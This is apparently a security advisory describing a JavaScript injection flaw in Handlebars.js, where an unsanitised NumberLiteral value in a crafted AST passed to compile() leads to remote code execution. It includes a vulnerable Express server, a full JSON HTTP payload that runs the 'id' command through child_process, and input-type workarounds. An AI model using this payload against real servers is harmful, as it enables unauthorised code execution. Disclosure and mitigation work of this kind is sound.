Handlebars.js has JavaScript Injection via AST Type Confusion
Summary
Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:
```javascript
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;
```
Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.
Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.
Proof of Concept
Server-side Express application that passes req.body.text to Handlebars.compile():
```Javascript
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
let text = req.body.text;
let template = Handlebars.compile(text);
let result = template();
res.send(result);
});
app.listen(2123);
```
```
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123
{
"text": {
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
]
}
}
```
The response body will contain the output of the id command executed on the server.
Workarounds
- Validate input type before calling
Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value.
```javascript
if (typeof templateInput !== 'string') {
throw new TypeError('Template must be a string');
}
```
- Use the Handlebars runtime-only build (
handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.
